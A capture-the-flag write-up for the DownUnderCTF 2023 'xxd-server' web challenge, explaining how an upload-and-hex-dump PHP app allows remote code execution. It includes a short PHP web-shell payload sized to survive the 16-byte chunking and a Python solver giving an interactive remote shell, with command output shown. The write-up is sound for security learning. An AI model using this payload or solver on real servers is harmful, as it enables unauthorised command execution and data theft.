xxd-server
Table of Contents🔗
Overview🔗
- Solved by: @Foo
- Contributor: @siunam
- 360 solves / 100 points
- Author: hashkitten
- Overall difficulty for me (From 1-10 stars): ★★★★☆☆☆☆☆☆
Background🔗
I wrote a little app that allows you to hex dump files over the internet.
Author: hashkitten
https://web-xxd-server-2680de9c070f.2023.ductf.dev
Enumeration🔗
Home page:
In here, we can upload a file:
┌[siunam♥Mercury]-(~/ctf/DownUnderCTF-2023/web/xxd-server)-[2023.09.03|19:25:50(HKT)]
└> echo -n 'test' > test.txt
Burp Suite HTTP history:
When we clicked the “Upload” button, it’ll send a POST request to /
, with form data parameter file-upload
, filename
, and the file’s content.
After uploaded, we can view the uploaded file in /uploads/<random_hex>/<filename>
:
As expected, the uploaded file is the result of the xxd
program, which allows you to view the binary data of a file.
In this challenge, we can download a file:
┌[siunam♥Mercury]-(~/ctf/DownUnderCTF-2023/web/xxd-server)-[2023.09.03|19:27:26(HKT)]
└> file xxd_server.zip
xxd_server.zip: Zip archive data, at least v2.0 to extract, compression method=deflate
┌[siunam♥Mercury]-(~/ctf/DownUnderCTF-2023/web/xxd-server)-[2023.09.03|19:27:27(HKT)]
└> unzip xxd_server.zip
Archive: xxd_server.zip
inflating: .htaccess
inflating: Dockerfile
inflating: index.php
index.php
:
<?php
// Emulate the behavior of command line 'xxd' tool
function xxd(string $s): string {
$out = '';
$ctr = 0;
foreach (str_split($s, 16) as $v) {
$hex_string = implode(' ', str_split(bin2hex($v), 4));
$ascii_string = '';
foreach (str_split($v) as $c) {
$ascii_string .= $c < ' ' || $c > '~' ? '.' : $c;
}
$out .= sprintf("%08x: %-40s %-16s\n", $ctr, $hex_string, $ascii_string);
$ctr += 16;
}
return $out;
}
$message = '';
// Is there an upload?
if (isset($_FILES['file-upload'])) {
$upload_dir = 'uploads/' . bin2hex(random_bytes(8));
$upload_path = $upload_dir . '/' . basename($_FILES['file-upload']['name']);
mkdir($upload_dir);
$upload_contents = xxd(file_get_contents($_FILES['file-upload']['tmp_name']));
if (file_put_contents($upload_path, $upload_contents)) {
$message = 'Your file has been uploaded. Click <a href="' . htmlspecialchars($upload_path) . '">here</a> to view';
} else {
$message = 'File upload failed.';
}
}
?>
<!DOCTYPE html>
<html>
[...]
<body>
<div class="container">
<h1>xxd-server</h1>
<p>Our patented hex technology™ allows you to view the binary data of any file. Try it here!</p>
<form action="/" method="POST" enctype="multipart/form-data">
<input type="file" id="file-upload" name="file-upload">
<label for="file-upload">Select File</label>
<br>
<input type="submit" id="submit-button" value="Upload">
</form>
<?= $message ? '<p>' . $message . '</p>' : ''; ?>
</div>
</body>
</html>
When we uploaded a file, it’ll call function xxd()
.
In that function, it’s emulating the behavior of command line xxd
tool.
It’s worth noting that the file’s content will be splitted into 16 characters chunk:
[...]
foreach (str_split($s, 16) as $v) {
$hex_string = implode(' ', str_split(bin2hex($v), 4));
$ascii_string = '';
foreach (str_split($v) as $c) {
$ascii_string .= $c < ' ' || $c > '~' ? '.' : $c;
}
$out .= sprintf("%08x: %-40s %-16s\n", $ctr, $hex_string, $ascii_string);
$ctr += 16;
}
[...]
.htaccess
:
# Everything not a PHP file, should be served as text/plain
<FilesMatch "\.(?!(php)$)([^.]*)$">
ForceType text/plain
</FilesMatch>
As you can see, when the file has the .php
extension, it’ll run the file’s PHP code.
Exploitation🔗
That being said, we should be able to upload arbitrary PHP files, as the application doesn’t validate which file extension we’re not allow to upload:
Nice! We should now able to read the flag file!
Wait… What?? Why it’s empty?
I mean… We can test it locally:
<?php
function xxd(string $s): string {
$out = '';
$ctr = 0;
foreach (str_split($s, 16) as $v) {
$hex_string = implode(' ', str_split(bin2hex($v), 4));
$ascii_string = '';
foreach (str_split($v) as $c) {
$ascii_string .= $c < ' ' || $c > '~' ? '.' : $c;
}
$out .= sprintf("%08x: %-40s %-16s\n", $ctr, $hex_string, $ascii_string);
$ctr += 16;
}
return $out;
}
$output = xxd('<?php system("cat /flag") ?>');
echo $output;
?>
┌[siunam♥Mercury]-(~/ctf/DownUnderCTF-2023/web/xxd-server)-[2023.09.03|19:50:16(HKT)]
└> php xxd.php
00000000: 3c3f 7068 7020 7379 7374 656d 2822 6361 <?php system("ca
00000010: 7420 2f66 6c61 6722 2920 3f3e t /flag") ?>
Oh! Do you remember the 16 characters chunk? In here, we can see that when the payload is greater than 16 characters, function xxd()
will split the payload with a newline character.
Armed with above information, the payload must be less than 16 characters:
$payload = '<?=`$_GET[1]`;';
$output = xxd($payload);
echo "[+] xdd result:\n$output";
echo '[+] Payload length: ' . strlen($payload);
┌[siunam♥Mercury]-(~/ctf/DownUnderCTF-2023/web/xxd-server)-[2023.09.03|19:56:30(HKT)]
└> php xxd.php
[+] xdd result:
00000000: 3c3f 3d60 245f 4745 545b 315d 3b60 <?=`$_GET[1]`;
[+] Payload length: 14
This payload is:
<?=
- a PHP shortecho
tag, which is a short-hand to the more verbose<?php echo
- Backticks - the execution operators, which executes OS command and it’s identical to shell_exec()
$_GET[1]
- when GET parameter1
is provided, it’ll execute the command based on the value
To automate stuff, I’ll write a Python script:
#!/usr/bin/env python3
import requests
import io
from bs4 import BeautifulSoup
class Solver:
def __init__(self, BASE_URL):
self.BASE_URL = BASE_URL
def uploadFile(self, files):
fileUploadResponse = requests.post(self.BASE_URL, files=files)
if fileUploadResponse.status_code != 200:
print('[-] Fail to upload the file...')
return
soup = BeautifulSoup(fileUploadResponse.text, 'html.parser')
uploadedFilePath = soup.a['href']
print(f'[+] File uploaded! Path: /{uploadedFilePath}')
return uploadedFilePath
def readUploadedFile(self, uploadedFilePath, command):
fullUploadedFilePath = self.BASE_URL + uploadedFilePath + f'?1={command}'
uploadedFileResponse = requests.get(fullUploadedFilePath)
if uploadedFileResponse.status_code != 200:
print('[-] Failed to execute OS command...')
return
print(f'[+] Command executed!! Response:\n{uploadedFileResponse.text.strip()}')
if __name__ == '__main__':
BASE_URL = 'https://web-xxd-server-2680de9c070f.2023.ductf.dev/'
solver = Solver(BASE_URL)
phpFilename = 'payload.php'
phpPayload = '<?=`$_GET[1]`;'
phpFileObject = io.BytesIO(phpPayload.encode())
files = {
'file-upload': ('payload.php', phpFileObject)
}
uploadedFilePath = solver.uploadFile(files)
try:
print('[*] Execute OS command in here... Type "exit" to quit:')
while True:
command = input('> ')
if command == 'exit':
print('[*] Bye!')
break
solver.readUploadedFile(uploadedFilePath, command)
except KeyboardInterrupt:
print('\n[*] Bye!')
┌[siunam♥Mercury]-(~/ctf/DownUnderCTF-2023/web/xxd-server)-[2023.09.03|20:24:10(HKT)]
└> python3 solve.py
[+] File uploaded! Path: /uploads/317317414ddf9917/payload.php
[*] Execute OS command in here... Type "exit" to quit:
> ls -lah /
[+] Command executed!! Response:
00000000: 3c3f 3d60 245f 4745 545b 315d 603b total 68K
drwxr-xr-x 1 root root 4.0K Sep 3 09:43 .
drwxr-xr-x 1 root root 4.0K Sep 3 09:43 ..
lrwxrwxrwx 1 root root 7 Aug 14 00:00 bin -> usr/bin
drwxr-xr-x 2 root root 4.0K Jul 14 16:00 boot
drwxr-xr-x 5 root root 360 Sep 3 09:43 dev
drwxr-xr-x 1 root root 4.0K Sep 3 09:43 etc
-rw-r--r-- 1 root root 74 Aug 31 02:13 flag
drwxr-xr-x 2 root root 4.0K Jul 14 16:00 home
lrwxrwxrwx 1 root root 7 Aug 14 00:00 lib -> usr/lib
lrwxrwxrwx 1 root root 9 Aug 14 00:00 lib32 -> usr/lib32
lrwxrwxrwx 1 root root 9 Aug 14 00:00 lib64 -> usr/lib64
lrwxrwxrwx 1 root root 10 Aug 14 00:00 libx32 -> usr/libx32
drwxr-xr-x 2 root root 4.0K Aug 14 00:00 media
drwxr-xr-x 2 root root 4.0K Aug 14 00:00 mnt
drwxr-xr-x 2 root root 4.0K Aug 14 00:00 opt
dr-xr-xr-x 460 root root 0 Sep 3 09:43 proc
drwx------ 1 root root 4.0K Aug 16 03:42 root
drwxr-xr-x 1 root root 4.0K Aug 16 02:16 run
lrwxrwxrwx 1 root root 8 Aug 14 00:00 sbin -> usr/sbin
drwxr-xr-x 2 root root 4.0K Aug 14 00:00 srv
dr-xr-xr-x 13 root root 0 Sep 3 09:42 sys
drwxrwxrwt 1 root root 4.0K Sep 3 12:24 tmp
drwxr-xr-x 1 root root 4.0K Aug 14 00:00 usr
drwxr-xr-x 1 root root 4.0K Aug 30 04:21 var
> cat /flag
[+] Command executed!! Response:
00000000: 3c3f 3d60 245f 4745 545b 315d 603b DUCTF{00000000__7368_656c_6c64_5f77_6974_685f_7878_6421__shelld_with_xxd!}
> ^C
[*] Bye!
- Flag:
DUCTF{00000000__7368_656c_6c64_5f77_6974_685f_7878_6421__shelld_with_xxd!}
Conclusion🔗
What we’ve learned:
- Exploiting file upload vulnerability with 16 characters chunk